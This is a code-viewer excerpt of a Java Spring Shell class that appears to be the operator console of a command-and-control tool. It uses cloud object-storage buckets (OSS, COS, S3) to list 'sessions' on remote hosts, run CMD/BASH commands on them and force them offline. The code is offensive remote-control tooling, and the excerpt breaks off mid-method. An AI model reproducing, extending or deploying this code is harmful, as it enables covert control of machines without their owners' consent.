| 16 | import java.util.LinkedList; |
| 17 | |
| 18 | @ShellComponent |
| 19 | @Order(2) |
| 20 | public class LucianCommands |
| 21 | extends Commands { |
| 22 | |
| 23 | @ShellMethod(value = "【需要执行的sessionid和命令】Interact with the supplied session ID, And exec CMD\\BASH", key = {"session -i", "s -i"}) |
| 24 | public String sessionI(int sid, String cmd) { |
| 25 | |
| 26 | if (!commandstate || OSSClient == null) { |
| 27 | return "【请先正确配置对象存储】please use config command first"; |
| 28 | } |
| 29 | |
| 30 | String key = (String) sessionsList.get(sid - 1).get(0); |
| 31 | |
| 32 | if (OSSClient instanceof OSSClient) { |
| 33 | return OSSExec((OSSClient) OSSClient, sid, key, cmd); |
| 34 | } else if (OSSClient instanceof COSClient) { |
| 35 | return COSExec((COSClient) OSSClient, sid, key, cmd); |
| 36 | } else if (OSSClient instanceof AmazonS3Client) { |
| 37 | return S3Exec((AmazonS3Client) OSSClient, sid, key, cmd); |
| 38 | } |
| 39 | |
| 40 | return "no result"; |
| 41 | |
| 42 | } |
| 43 | |
| 44 | @ShellMethod(value = "【显示全部的主机信息】List all active sessions and metainfo", key = "sessions") |
| 45 | public String sessions() { |
| 46 | if (!commandstate || OSSClient == null) { |
| 47 | return "【请先正确配置对象存储】please use config command first"; |
| 48 | } |
| 49 | |
| 50 | if ("COS".equals(getType())) { |
| 51 | return sessionsTitle + new BucketCommands().listOSSSessions((COSClient) getOSSClient()); |
| 52 | } else if ("OSS".equals(getType())) { |
| 53 | return sessionsTitle + new BucketCommands().listOSSSessions((OSSClient) getOSSClient()); |
| 54 | } else if ("S3".equals(getType())) { |
| 55 | return sessionsTitle + new BucketCommands().listS3Sessions((AmazonS3Client) getOSSClient()); |
| 56 | } |
| 57 | return ""; |
| 58 | } |
| 59 | |
| 60 | @ShellMethod(value = "【强制下线主机】Terminate sessions by session ID and/or range", key = "session -k") |
| 61 | public void sessionK(int pid) { |
| 62 | LinkedList session = getSessionsList().get(pid - 1); |
| 63 | |
| 64 | if ("OSS".equals(getType())) { |
| 65 | ((OSSClient) getOSSClient()).deleteObject(bucketname, "" + session.get(0)); |
| 66 | |
| 67 | } else if ("COS".equals(getType())) { |
| 68 | |
| 69 | ((COSClient) getOSSClient()).deleteObject(bucketname, "" + session.get(0)); |
| 70 | |
| 71 | } else if ("S3".equals(getType())) { |
| 72 | ((AmazonS3Client) getOSSClient()).deleteObject(bucketname, "" + session.get(0)); |
| 73 | |
| 74 | } |
| 75 |
nothing calls this directly
no outgoing calls
no test coverage detected